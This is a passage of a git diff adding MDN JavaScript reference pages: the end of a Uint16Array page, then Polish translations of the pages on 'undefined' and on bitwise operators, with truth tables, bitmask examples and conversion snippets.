+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint16Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint16Array.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">// From a length
+var uint16 = new Uint16Array(2);
+uint16[0] = 42;
+console.log(uint16[0]); // 42
+console.log(uint16.length); // 2
+console.log(uint16.BYTES_PER_ELEMENT); // 2
+
+// From an array
+var arr = new Uint16Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Uint16Array([21, 31]);
+var y = new Uint16Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint16Array(buffer, 0, 4);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td><a href="https://www.khronos.org/registry/typedarray/specs/latest/#7">Typed Array Specification</a></td>
+ <td>Obsolete</td>
+ <td><span><span>Superseded by ECMAScript 6.</span></span></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#table-45', 'TypedArray constructors')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition in an ECMA standard.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>7.0</td>
+ <td>{{ CompatGeckoDesktop("2") }}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>5.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatGeckoMobile("2") }}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>4.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/undefined/index.html b/files/pl/web/javascript/referencje/obiekty/undefined/index.html
new file mode 100644
index 0000000000..9b9460985f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/undefined/index.html
@@ -0,0 +1,40 @@
+---
+title: undefined
+slug: Web/JavaScript/Referencje/Obiekty/undefined
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/undefined
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wartość niezdefiniowana.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>undefined</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>undefined</code> jest własnością najwyższego rzędu i nie jest przypisana do żadnego obiektu.</p>
+
+<p>Zmienna, której nie przypisano wartości, jest typu undefined. Metoda lub wyrażenie zwraca <code>undefined</code>, jeśli wyliczana zmienna nie posiada wartości.</p>
+
+<p>Można wykorzystać <code>undefined</code> do zbadania, czy dana zmienna ma wartość. W poniższym kodzie zmienna <code>x</code> nie jest zdefiniowana i wyrażenie <code>if</code> ma wartość "prawda" (true).</p>
+
+<pre class="brush: js">var x;
+if (x === undefined) {
+ // polecenia tu umieszczone są wykonywane
+} else {
+ // polecenia tu umieszczone nie są wykonywane
+}
+</pre>
+
+<p><code>undefined</code> jest także wartością prostą.</p>
diff --git a/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html b/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html
new file mode 100644
index 0000000000..c394b726d0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html
@@ -0,0 +1,558 @@
+---
+title: Operatory bitowe
+slug: Web/JavaScript/Referencje/Operatory/Bitwise_Operators
+tags:
+ - JavaScript
+ - Operator
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Operatory bitowe</strong> traktuję swoje operandy jako sekwencje 32 bitów (zer i jedynek), bardziej niż jako dziesiętne, szesnastkowe czy ósemkowe <a href="pl/docs/Web/JavaScript/Referencje/Obiekty/Number">wartości liczbowe</a>. Przykładowo, reprezentacją binarną dziesiętnej liczby 9 jest 1001. Operatory bitowe dokonują operacji na takich właśnie reprezentacjach bitowych, zwracają jednak standardowe JavaScriptowe wartości liczbowe.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}</div>
+
+
+
+<p>Poniższa tabela zawiera podsumowanie operatorów bitowych w języku JavaScript:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Operator</th>
+ <th>Użycie</th>
+ <th>Opis</th>
+ </tr>
+ <tr>
+ <td><a href="#Bitowe_AND">Bitowe AND</a></td>
+ <td><code>a &amp; b</code></td>
+ <td>Zwraca <code>1</code> na każdej pozycji bitowej, dla której odpowiadające jej bity obydwu operandów mają wartość <code>1</code>.</td>
+ </tr>
+ <tr>
+ <td><a href="#Bitowe_OR">Bitowe OR</a></td>
+ <td><code>a | b</code></td>
+ <td>Zwraca <code>1</code> na każdej pozycji bitowej, dla której jeden lub oba odpowiadające jej bity operandów mają wartość <code>1</code>.</td>
+ </tr>
+ <tr>
+ <td><a href="#Bitowe_XOR">Bitowe XOR</a></td>
+ <td><code>a ^ b</code></td>
+ <td>Zwraca <code>1</code> na każdej pozycji bitowej, dla której dokładnie jeden bit spośród odpowiadających jej bitów operandów ma wartość jeden.</td>
+ </tr>
+ <tr>
+ <td><a href="#Bitowe_NOT">Bitowe NOT</a></td>
+ <td><code>~ a</code></td>
+ <td>Neguje bity swojego operandu.</td>
+ </tr>
+ <tr>
+ <td><a href="#Przesuniecie_w_lewo">Przesunięcie w lewo</a></td>
+ <td><code>a &lt;&lt; b</code></td>
+ <td>Przesuwa <code>a</code> w binarnej reprezentacji o <code>b</code> bitów w lewo (gdzie <code>b</code> &lt; 32), dodając zera z prawej strony.</td>
+ </tr>
+ <tr>
+ <td><a href="#Przesuniecie_w_prawo_z_propagacja_znaku">Przesunięcie w prawo z propagacją znaku</a></td>
+ <td><code>a &gt;&gt; b</code></td>
+ <td>Przesuwa <code>a</code> w binarnej reprezentacji o <code>b</code> bitów w prawo (gdzie <code>b</code> &lt; 32), odrzucając <code>b</code> bitów z prawej strony.</td>
+ </tr>
+ <tr>
+ <td><a href="#Przesuniecie_w_prawo_z_dopelnieniem_zerami">Przesunięcie w prawo z dopełnieniem zerami</a></td>
+ <td><code>a &gt;&gt;&gt; b</code>  </td>
+ <td>Przesuwa <code>a</code> w binarnej reprezentacji o <code>b</code> bitów w prawo (gdzie <code>b</code> &lt; 32), odrzucając <code>b</code> bitów z prawej strony i uzupełniając sekwencję zerami z lewej strony.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="32-bitowe_wartości_całkowite_ze_znakiem">32-bitowe wartości całkowite ze znakiem</h2>
+
+<p>Operandy wszystkich operatorów bitowych są konwertowane do 32-bitowych wartości całkowitych w dwójkowym <a href="https://en.wikipedia.org/wiki/Method_of_complements">kodzie uzupełnieniowym</a>, z wyjątkiem przesunięcia w prawo z dopełnieniem zerami, które zwraca 32-bitową wartość całkowitą bez znaku. Dwójkowy kod uzupełnieniowy oznacza, że liczba przeciwna danej wartości (na przykład 5 i -5) ma wszystkie bity zanegowane w stosunku do tejże wartości (bitowe NOT liczby, znane również jako jedynkowe dopełnienie liczby) plus jeden. Przykładowo, dziesiętna liczba 314 ma następującą postać dwójkową:</p>
+
+<pre class="brush: js">00000000000000000000000100111010
+</pre>
+
+<p>Reprezentacja binarna <code>~314</code>, czyli jedynkowe dopełnienie <code>314</code>:</p>
+
+<pre class="brush: js">11111111111111111111111011000101
+</pre>
+
+<p><code>-314</code> ma ostatecznie następującą postać, będącą dwójkowym dopełnieniem <code>314</code>:</p>
+
+<pre class="brush: js">11111111111111111111111011000110
+</pre>
+
+<p>Dopełnienie dwójkowe gwarantuje, że skrajny lewy bit będzie zerem dla liczby dodatniej i jedynką dla liczby ujemnej – bit ten zwany jest stąd <em>bitem znaku</em>.</p>
+
+<p>Liczba <code>0</code> jest wartością całkowitą, złożoną w całości z bitów o wartości <code>0</code>.</p>
+
+<pre class="brush: js">0 (base 10) = 00000000000000000000000000000000 (base 2)
+</pre>
+
+<p>Liczba <code>-1</code> jest wartością całkowitą, złożoną z samych bitów o wartości <code>1</code>.</p>
+
+<pre class="brush: js">-1 (base 10) = 11111111111111111111111111111111 (base 2)
+</pre>
+
+<p>Liczba <code>-2147483648</code> (reprezentacja szesnastkowa: <code>-0x80000000</code>) jest wartością całkowitą, złożoną z samych bitów o wartości <code>0</code>, z wyjątkiem pierwszego (znajdującego się najbardziej z lewej strony) bitu.</p>
+
+<pre class="brush: js">-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
+</pre>
+
+<p>Liczba <code>2147483647</code> (rprezentacja szesnastkowa: <code>0x7fffffff</code>) jest wartością całkowitą, złożoną jedynie z bitów o wartości 1, z wyjątkiem pierwszego (skrajnie lewego) bitu.</p>
+
+<pre class="brush: js">2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
+</pre>
+
+<p>Liczby <code>-2147483648</code> i <code>2147483647</code> stanowią odpowiednio minimalną i maksymalną wartość całkowitą, którą można zapisać przy użyciu 32-bitowej liczby ze znakiem.</p>
+
+<h2 id="Bitowe_operatory_logiczne">Bitowe operatory logiczne</h2>
+
+<p>Idea działania bitowych operatorów logicznych jest następująca:</p>
+
+<ul>
+ <li>Operandy są konwertowane do 32-bitowych wartości całkowitych, wyrażanych jako sekwencja bitów (zer i jedynek). Dla liczb o więcej niż 32 bitach odrzuca się najbardziej znaczące bity. Przykładowo, następująca wartość całkowita zajmująca więcej niż 32 bity będzie przekonwertowana do 32-bitowej wartości w następujący sposób:
+ <pre class="brush: js">Przed: 11100110111110100000000000000110000000000001
+Po: 10100000000000000110000000000001</pre>
+ </li>
+ <li>Każdy z bitów pierwszego operandu parowany jest z odpowiadającym mu bitem drugiego operandu: pierwszy z pierwszym, drugi z drugim i tak dalej (idąc od prawej strony).</li>
+ <li>Operator jest stosowany na każdej parze bitów, a wynik jest tworzony bitowo.</li>
+</ul>
+
+<h3 id="Bitowe_AND_2"><a id="Bitowe_AND" name="Bitowe_AND">&amp; (Bitowe AND)</a></h3>
+
+<p>Stosuje operację AND (koniunkcję) na każdej parze bitów. <code>a</code> AND <code>b</code> daje <code>1</code> wtedy i tylko wtedy, gdy zarówno <code>a</code>, jak i <code>b</code> będą miały wartość <code>1</code>. Tablica prawdy dla operacji AND przedstawiona jest poniżej:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">a</td>
+ <td class="header">b</td>
+ <td class="header">a AND b</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>0</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>1</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js">. 9 (base 10) = 00000000000000000000000000001001 (base 2)
+ 14 (base 10) = 00000000000000000000000000001110 (base 2)
+ --------------------------------
+14 &amp; 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+</pre>
+
+<p>Bitowa koniunkcja (AND) dowolnej wartości <code>x</code> i <code>0</code> zawsze daje <code>0</code>.</p>
+
+<h3 id="Bitowe_OR_2"><a id="Bitowe_OR" name="Bitowe_OR">| (Bitowe OR)</a></h3>
+
+<p>Stosuje operację OR (alternatywę) na każdej parze bitów. <code>a</code> OR <code>b</code> daje <code>1</code> wtedy i tylko wtedy, gdy <code>a</code> lub <code>b</code> ma wartość <code>1</code>. Tablica prawdy dla operacji OR przedstawina jest poniżej:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">a</td>
+ <td class="header">b</td>
+ <td class="header">a OR b</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>0</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js">. 9 (base 10) = 00000000000000000000000000001001 (base 2)
+ 14 (base 10) = 00000000000000000000000000001110 (base 2)
+ --------------------------------
+14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
+</pre>
+
+<p>Zastosowanie alternatywy bitowej (OR) dowlonej wartości <code>x</code> i <code>0</code> zawsze daje <code>x</code>.</p>
+
+<h3 id="Bitowe_XOR_2"><a id="Bitowe_XOR" name="Bitowe_XOR">^ (Bitowe XOR)</a></h3>
+
+<p>Stosuje bitowe XOR (alternatywę wykluczającą) na każdej parze bitów. <code>a</code> XOR <code>b</code> daje <code>1</code> wtedy i tylko wtedy, gdy <code>a</code> i<strong> </strong><code>b</code> mają różne wartości. Tablica prawdy dla operacji XOR przedstawiona jest poniżej:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">a</td>
+ <td class="header">b</td>
+ <td class="header">a XOR b</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>0</td>
+ <td>0</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>1</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>1</td>
+ <td>0</td>
+ </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js">. 9 (base 10) = 00000000000000000000000000001001 (base 2)
+ 14 (base 10) = 00000000000000000000000000001110 (base 2)
+ --------------------------------
+14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
+</pre>
+
+<p>Zastosowanie bitowej alternatywy wykluczającej (XOR) dowolnej wartości <code>x</code> i <code>0</code> daje <code>x</code>.</p>
+
+<h3 id="Bitowe_NOT_2"><a id="Bitowe_NOT" name="Bitowe_NOT">~ (Bitowe NOT)</a></h3>
+
+<p>Stosuje operator NOT (negację) na każdym bicie. NOT <code>a</code> zwraca odwróconą wartość (inaczej zwaną dopełnieniem jedynkowym) <code>a</code>. Tablica prawdy operacji NOT przedstawiona jest poniżej:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">a</td>
+ <td class="header">NOT a</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js"> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+ --------------------------------
+~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
+</pre>
+
+<p>Bitowa negacja (NOT) dowolnej wartości <code>x</code> daje <code>-(x + 1)</code>. Przykładowo, <code>~-5</code> daje <code>4</code>.</p>
+
+<p>Zauważmy, że z powodu używania 32-bitowej reprezentacji liczb, zarówno <code>~-1</code>, jak i <code>~4294967295</code> (2<sup>32</sup>-1) daje wynik <code>0</code>.</p>
+
+<h2 id="Bitowe_operatory_przesunięcia">Bitowe operatory przesunięcia</h2>
+
+<p>Bitowe operatory przesunięcia przyjmują dwa operandy: pierwszy jest wartością do przesunięcia, a drugi wskazuje liczbę pozycji bitowych, o którą pierszy operand ma być przesunięty. Kierunek operacji przesunięcia jest zdefiniowany przez użycie danego operatora.</p>
+
+<p>Operatory przesunięcia konwertują swoje operandy do 32-bitowych wartości całkowitych w porządku big-endian (znanym też pod nazwą <em>grubokońcowość</em>) i zwraca wynik tego samego typu, co lewy operand. Użytych będzie przy tym jedynie pięć najniższych bitów prawego operandu.</p>
+
+<h3 id="&lt;&lt;_Przesunięcie_w_lewo"><a id="Przesuniecie_w_lewo" name="Przesuniecie_w_lewo">&lt;&lt; (Przesunięcie w lewo)</a></h3>
+
+<p>Operator ten przesuwa pierwszy operand o określoną liczbę bitów w lewo. Nadmiarowe bity przesunięte poza zakres z lewej strony są odrzucane. Z prawej strony sekwencja uzupełniana jest zerami.</p>
+
+<p>Przykładowo, <code>9 &lt;&lt; 2</code> daje 36:</p>
+
+<pre class="brush: js">. 9 (base 10): 00000000000000000000000000001001 (base 2)
+ --------------------------------
+9 &lt;&lt; 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
+</pre>
+
+<p>Bitowe przesuwanie dowolnej wartości <code>x</code> w lewo o <code>y</code> bitów daje <code>x * 2 ** y</code>.<br>
+ Tak więc, przykładowo: <code>9 &lt;&lt; 3</code> można przetłumaczyć jako: <code>9 * (2 ** 3) = 9 * (8) =</code><code> 72</code>.</p>
+
+<h3 id=">>_Przesunięcie_w_prawo_z_propagacją_znaku"><a id="Przesuniecie_w_prawo_z_propagacja_znaku" name="Przesuniecie_w_prawo_z_propagacja_znaku">&gt;&gt; (Przesunięcie w prawo z propagacją znaku)</a></h3>
+
+<p>Operator ten przesuwa pierwszy operand o określoną liczbę bitów w prawo. Nadmiarowe bity przesunięte z prawej strony poza zakres są odrzucane. Sekwencja jest uzupełniana z lewej strony wartościami skrajnie lewego bitu. Kiedy skrajnie lewy bit ma taką samą wartość, jak poprzedni skrajnie lewy bit, znak się nie zmienia – stąd nazwa „z propagacją znaku”.</p>
+
+<p>Przykładowo, <code>9 &gt;&gt; 2</code> daje 2:</p>
+
+<pre class="brush: js">. 9 (base 10): 00000000000000000000000000001001 (base 2)
+ --------------------------------
+9 &gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>Podobnie, <code>-9 &gt;&gt; 2</code> daje <code>-3</code>, ponieważ zachowywany jest znak:</p>
+
+<pre class="brush: js">. -9 (base 10): 11111111111111111111111111110111 (base 2)
+ --------------------------------
+-9 &gt;&gt; 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
+</pre>
+
+<h3 id=">>>_Przesunięcie_w_prawo_z_dopełnieniem_zerami"><a id="Przesuniecie_w_prawo_z_dopelnieniem_zerami" name="Przesuniecie_w_prawo_z_dopelnieniem_zerami">&gt;&gt;&gt; (Przesunięcie w prawo z dopełnieniem zerami)</a></h3>
+
+<p>Operator ten przesuwa pierwszy operand o określoną liczbę bitów w prawo. Nadmiarowe bity przesunięte poza zakres z prawej strony są odrzucane. Sekwencja jest uzupełniana z lewej strony zerami. Bit znaku staje się zerem, dlatego też wynik jest zawsze nieujemny. W przeciwieństwie do pozostałych operatorów bitowych, przesunięcie w prawo z dopełnieniem zerami zwraca 32-bitową wartość całkowitą bez znaku.</p>
+
+<p>Dla liczb nieujemnych, przesunięcie w prawo z zerami i z zachowaniem znaku dają taki sam wynik. Przykładowo, <code>9 &gt;&gt;&gt; 2</code> daje 2, tak samo jak <code>9 &gt;&gt; 2</code>:</p>
+
+<pre class="brush: js">. 9 (base 10): 00000000000000000000000000001001 (base 2)
+ --------------------------------
+9 &gt;&gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>Inaczej wygląda to jednak w przypadku liczb ujemnych. Przykładowo, <code>-9 &gt;&gt;&gt; 2</code> daje 1073741821, co jest różne od <code>-9 &gt;&gt; 2</code> (które daje <code>-3</code>):</p>
+
+<pre class="brush: js">. -9 (base 10): 11111111111111111111111111110111 (base 2)
+ --------------------------------
+-9 &gt;&gt;&gt; 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Flagi_i_maski_bitowe">Flagi i maski bitowe</h3>
+
+<p>Bitowe operatory logiczne są często używane do tworzenia, manipulowania i odczytywania sekwencji <em>flag</em>, które działają jak zmienne binarne. Zmienne mogą być używane zamiast tych sekwencji, ale flagi zajmują znacznie mniej pamięci (32-krotnie).</p>
+
+<p>Załóżmy, że mamy następujące 4 flagi:</p>
+
+<ul>
+ <li>flaga A: mamy problem z mrówkami,</li>
+ <li>flaga B: mamy nietoperza,</li>
+ <li>flaga C: mamy kota,</li>
+ <li>flaga D: mamy kaczkę.</li>
+</ul>
+
+<p>Flagi te są reprezentowane przez sekwencję bitów: DCBA. Kiedy flaga jest <em>ustawiona</em>, odpowiedni bit ma wartość 1. Kiedy flaga jest <em>wyczyszczona</em>, właściwy bit ma wartość 0. Załóżmy, że zmienna <code>flagi</code> ma binarną wartość 0101:</p>
+
+<pre class="brush: js">var flagi = 5; // binarnie 0101
+</pre>
+
+<p>Wartość ta wskazuje, że:</p>
+
+<ul>
+ <li>flaga A ma wartość „prawda” (mamy problem z mrówkami);</li>
+ <li>flaga B ma wartość „fałsz” (nie mamy nietoperza);</li>
+ <li>flaga C ma wartość „prawda” (mamy kota);</li>
+ <li>flaga D ma wartość „fałsz” (nie mamy kaczki);</li>
+</ul>
+
+<p>Ponieważ operatory bitowe są 32-bitowe, 0101 to faktycznie 00000000000000000000000000000101, ale zera wiodące mogą być pominięte, gdyż nie zawierają żadnej znaczącej informacji.</p>
+
+<p><em>Maska bitowa</em> jest sekwencją bitów pozwalającą na manipulowanie flagami lub odczytywanie ich wartości. Zazwyczaj „podstawowe” maski bitowe dla każdej flagi będą zdefiniowane w następujący sposób:</p>
+
+<pre class="brush: js">var FLAGA_A = 1; // 0001
+var FLAGA_B = 2; // 0010
+var FLAGA_C = 4; // 0100
+var FLAGA_D = 8; // 1000
+</pre>
+
+<p>Nowe maski bitowe mogą być stworzone przy użyciu operatorów bitowych na tychże podstawowych maskach. Przykładowo, maska 1011 może być stworzona przy użyciu operatora OR na zmiennych FLAGA_A, FLAGA_B i FLAGA_D.</p>
+
+<pre class="brush: js">var maska = FLAGA_A | FLAGA_B | FLAGA_D; // 0001 | 0010 | 1000 =&gt; 1011
+</pre>
+
+<p>Pojedyncze wartości flag mogą być wyekstrahowane przez użycie operatora AND na fladze i właściwej masce – bit z wartością 1 „ekstrahuje” odpowiednią flagę. Maska bitowa <em>maskuje</em> wszystkie nieistotne flagi przez koniunkcję ich bitów z zerami maski (stąd nazwa „maska”). Przykładowo, maska 0100 może być użyta do sprawdzenia, czy flaga C jest ustawiona:</p>
+
+<pre class="brush: js">// czy mamy kota
+if (flagi &amp; FLAGA_C) { // 0101 &amp; 0100 =&gt; 0100 =&gt; true
+ // coś zrób
+}
+</pre>
+
+<p>Maska z ustawionymi wieloma flagami działa jak alternatywa logiczna. Przykładowo, poniższe dwie wersje są równoważne:</p>
+
+<pre class="brush: js">// czy mamy nietoperza lub czy mamy kota
+// (0101 &amp; 0010) || (0101 &amp; 0100) =&gt; 0000 || 0100 =&gt; true
+if ((flagi &amp; FLAGA_B) || (flagi &amp; FLAGA_C)) {
+ // coś zrób
+}
+</pre>
+
+<pre class="brush: js">// czy mamy nietoperza lub kota
+var maska = FLAGA_B | FLAGA_C; // 0010 | 0100 =&gt; 0110
+if (flagi &amp; maska) { // 0101 &amp; 0110 =&gt; 0100 =&gt; true
+ // coś zrób
+}
+</pre>
+
+<p>Flagi mogą być ustawione przez użycie na nich i masce operacji OR, gdzie każdy z bitów z wartością 1 będzie ustawiał odpowiednią flagę, jeśli nie jest już ustawiona. Przykładowo, maska 1100 może być użyta do ustawienia flag C i D:</p>
+
+<pre class="brush: js">// tak, możemy mieć kota i kaczkę
+var maska = FLAGA_C | FLAGA_D; // 0100 | 1000 =&gt; 1100
+flagi |= maska; // 0101 | 1100 =&gt; 1101
+</pre>
+
+<p>Flagi mogą być czyszczone przez użycie operatora AND z maską, gdzie każdy z bitów z wartością 0 będzie czyścił odpowiednią flagę, jeśli nie jest już wyczyszczona. Maska może być stworzona przez użycie operatora NOT na maskach podstawowych. Przykładowo, maska 1010 może być użyta do wyczyszczenia flag A i C:</p>
+
+<pre class="brush: js">// nieprawdą jest, że mamy problem z mrówkami lub posiadamy kota
+var maska = ~(FLAG_A | FLAG_C); // ~0101 =&gt; 1010
+flagi &amp;= maska; // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Maska może być również stworzona przez wyrażenie <code>~FLAG_A &amp; ~FLAG_C</code> (z praw De Morgana):</p>
+
+<pre class="brush: js">// nie, nie mamy problemu z mrówkami i nie posiadamy kota
+var maska = ~FLAGA_A &amp; ~FLAGA_C;
+flagi &amp;= maska; // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Flagi mogą być przełączane przez użycie operatora XOR z maską bitową, gdzie każðy bit będzie przełączał odpowiednią flagę. Przykładowo, maska 0110 może być użyta do przełączenia flag B i C:</p>
+
+<pre class="brush: js">// jeśli nie mieliśmy nietoperza, teraz go mamy,
+// a jeśli go mieliśmy – pa, pa, nietoperku!
+// tak samo z kotami
+var maska = FLAGA_B | FLAGA_C;
+flagi = flagi ^ maska; // 1100 ^ 0110 =&gt; 1010
+</pre>
+
+<p>Flagi mogą być odwracane przez operator NOT:</p>
+
+<pre class="brush: js">// przechodzimy do równoległego wszechświata...
+flagi = ~flagi; // ~1010 =&gt; 0101
+</pre>
+
+<h3 id="Conversion_snippets">Conversion snippets</h3>
+
+<p>Konwersja binarnej zmiennej typu <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> do liczby dziesiętnej typu <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>:</p>
+
+<pre class="brush: js">var sBinString = '1011';
+var nMojaLiczba = parseInt(sBinString, 2);
+alert(nMojaLiczba); // wypisuje 11, tzn. binarnie 1011
+</pre>
+
+<p>Konwersja dziesiętnej liczby do binarnego Stringa:</p>
+
+<pre class="brush: js">var nMojaLiczba = 11;
+var sBinString = nMojaLiczba.toString(2);
+alert(sBinString); // wypisuje 1011, tzn. dziesiętnie 11
+</pre>
+
+<h3 id="Automatyczne_tworzenie_masek">Automatyczne tworzenie masek</h3>
+
+<p>Możesz stworzyć wiele masek ze zbioru wartości typu <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code> values, na przykład:</p>
+
+<pre class="brush: js">function createMask() {
+ var nMask = 0, nFlag = 0, nLen = arguments.length &gt; 32 ? 32 : arguments.length;
+ for (nFlag; nFlag &lt; nLen; nMask |= arguments[nFlag] &lt;&lt; nFlag++);
+ return nMask;
+}
+var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
+var mask2 = createMask(false, false, true); // 4, i.e.: 0100
+var mask3 = createMask(true); // 1, i.e.: 0001
+// itd.
+
+alert(mask1); // wypisuje 11, czyli binarnie: 1011
+</pre>
+
+<h3 id="Algorytm_odwrotny_tablica_zmiennych_boolowskich_z_maski">Algorytm odwrotny: tablica zmiennych boolowskich z maski</h3>
+
+<p>Jeśli chcesz stworzyć tablicę złożoną ze zmiennych boolowskich, możesz użyć następującego kodu:</p>
+
+<pre class="brush: js">function arrayFromMask(nMask) {
+ // nMask musi być pomiędzy -2147483648 a 2147483647
+ if (nMask &gt; 0x7fffffff || nMask &lt; -0x80000000) {
+ throw new TypeError('arrayFromMask - out of range');
+ }
+ for (var nShifted = nMask, aFromMask = []; nShifted;
+ aFromMask.push(Boolean(nShifted &amp; 1)), nShifted &gt;&gt;&gt;= 1);
+ return aFromMask;
+}
+
+var array1 = arrayFromMask(11);
+var array2 = arrayFromMask(4);
+var array3 = arrayFromMask(1);
+
+alert('[' + array1.join(', ') + ']');
+// wypisuje "[true, true, false, true]", tzn.: 11, tzn.: 1011
+</pre>
+
+<p>Możesz przetestować obydwa algorytmy naraz:</p>
+
+<pre class="brush: js">var nTest = 19; // nasza maska
+var nResult = createMask.apply(this, arrayFromMask(nTest));
+
+alert(nResult); // 19
+</pre>
+
